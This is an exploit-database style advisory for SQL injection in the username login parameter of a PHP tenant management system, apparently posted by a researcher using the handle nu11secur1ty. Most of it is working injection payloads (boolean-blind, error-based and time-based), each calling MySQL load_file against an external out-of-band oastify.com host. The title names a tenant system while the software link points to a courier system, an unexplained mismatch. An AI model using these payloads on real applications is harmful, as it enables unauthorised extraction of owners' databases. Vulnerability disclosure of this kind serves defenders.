## Titles: TENANT-LIMITED-1.0-©-2024-Tenant-Management-System-Software Multiple-SQLi
## Author: nu11secur1ty
## Date: 09/12/2024
## Vendor: https://www.mayurik.com/
## Software: https://www.sourcecodester.com/php/17375/best-courier-management-system-project-php.html
## Reference: https://portswigger.net/web-security/sql-injection
## Description:
The `username` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\xyzchji926rxi3bnnd20jn62ltrmfc336ryeo2d.oastify.com\\twy'))+' was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all the information from the database of this system, and he can do very malicious action against the owner of this application!
STATUS: HIGH- Vulnerability
[+]Exploits:
- SQLi Multiple:
```mysql
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=BLTQtMoH'+(select load_file('\\\\xyzchji926rxi3bnnd20jn62ltrmfc336ryeo2d.oastify.com\\twy'))+'' OR NOT 4240=4240 OR 'EtQc'='ycfr&password=v6W!j0c!E3
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=BLTQtMoH'+(select load_file('\\\\xyzchji926rxi3bnnd20jn62ltrmfc336ryeo2d.oastify.com\\twy'))+'' AND (SELECT 9628 FROM(SELECT COUNT(*),CONCAT(0x71716b6a71,(SELECT (ELT(9628=9628,1))),0x71786b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR 'rWqi'='rWnh&password=v6W!j0c!E3
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=BLTQtMoH'+(select load_file('\\\\xyzchji926rxi3bnnd20jn62ltrmfc336ryeo2d.oastify.com\\twy'))+'' AND (SELECT 3034 FROM (SELECT(SLEEP(7)))REDg) OR 'MOwt'='aTkY&password=v6W!j0c!E3
---
```
## Reproduce:
[href](https://www.patreon.com/posts/tenant-limited-1-111944919)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/09/tenant-limited-10-2024-tenant.html)
## Time spent:
00:27:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>